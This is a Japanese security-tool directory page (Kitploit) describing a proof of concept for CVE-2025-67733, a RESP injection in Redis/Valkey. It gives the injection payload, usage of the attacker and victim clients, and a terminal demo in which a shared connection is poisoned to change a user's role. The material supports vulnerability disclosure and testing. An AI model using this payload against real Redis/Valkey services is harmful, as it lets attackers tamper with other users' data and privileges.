Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-67733 — Redis/Valkey RESP インジェクション PoC (CVE-2025-67733) | Kitploit
ツール/GitHubGitHub/jylab/cve-2025-67733
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストレッドチーミングペイロード開発
GitHubjylab/cve-2025-67733

CVE-2025-67733

Redis/Valkey RESP インジェクション PoC (CVE-2025-67733)

リポジトリを見る
16ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

RESP プロトコルインジェクション PoC

Valkey/Redis の Lua スクリプトエラーメッセージを介した RESP プロトコルインジェクションの脆弱性を実証する概念実証です。

ファイル

backend.py

共有 Valkey 接続(コネクションプーリング)を使用する Web アプリケーションを模した Flask バックエンド。

エンドポイント:

メソッドエンドポイント説明
POST/api/user/roleユーザーロールを設定
GET/api/user/roleユーザーロールを取得
POST/api/processLua スクリプトを実行

使用方法:

root@kitploit:~
python backend.py <Valkey host> <Valkey port> [password]

# Examples
python backend.py 127.0.0.1 6379
python backend.py 127.0.0.1 6379 mypassword

attacker_client.py

Lua スクリプトのエラーメッセージを介して、悪意のある RESP データをソケットバッファに注入します。

ペイロード:

root@kitploit:~
error(redis.error_reply("INJECTED\r\n$11\r\nhacked_user"))

使用方法:

root@kitploit:~
python attacker_client.py

victim_client.py

ユーザーロールを設定・取得する正規のクライアント。

使用方法:

root@kitploit:~
python victim_client.py set    # Set role to "normal_user"
python victim_client.py get    # Get current role

攻撃デモンストレーション

前提条件

root@kitploit:~
pip install flask requests

手順

端末 1 - バックエンドを起動:

root@kitploit:~
python backend.py 127.0.0.1 6379

端末 2 - ロールを設定:

root@kitploit:~
python victim_client.py set
# Output: 'role':'normal_user' has been set.

python victim_client.py get
# Output: 'role':'normal_user'

端末 3 - 攻撃:

root@kitploit:~
python attacker_client.py
# Output: Socket poisoning successful

端末 2 - ロールを取得(攻撃後):

root@kitploit:~
python victim_client.py get
# Output: 'role':'hacked_user'

攻撃フロー

root@kitploit:~
1. Victim sets role
   victim_client.py set --> backend --> Valkey
                                        SET user:user:role "normal_user"

2. Attacker injects payload
   attacker_client.py --> backend --> Valkey
                                      EVAL 'error(...)' 0

   Backend reads: "-ERR INJECTED\r\n"
   Buffer remains: "$11\r\nhacked_user"

3. Victim gets role
   victim_client.py get --> backend --> Valkey
                                        GET user:user:role

   Backend reads from buffer: "$11\r\nhacked_user"
   Victim receives: "hacked_user"
ツールをダウンロード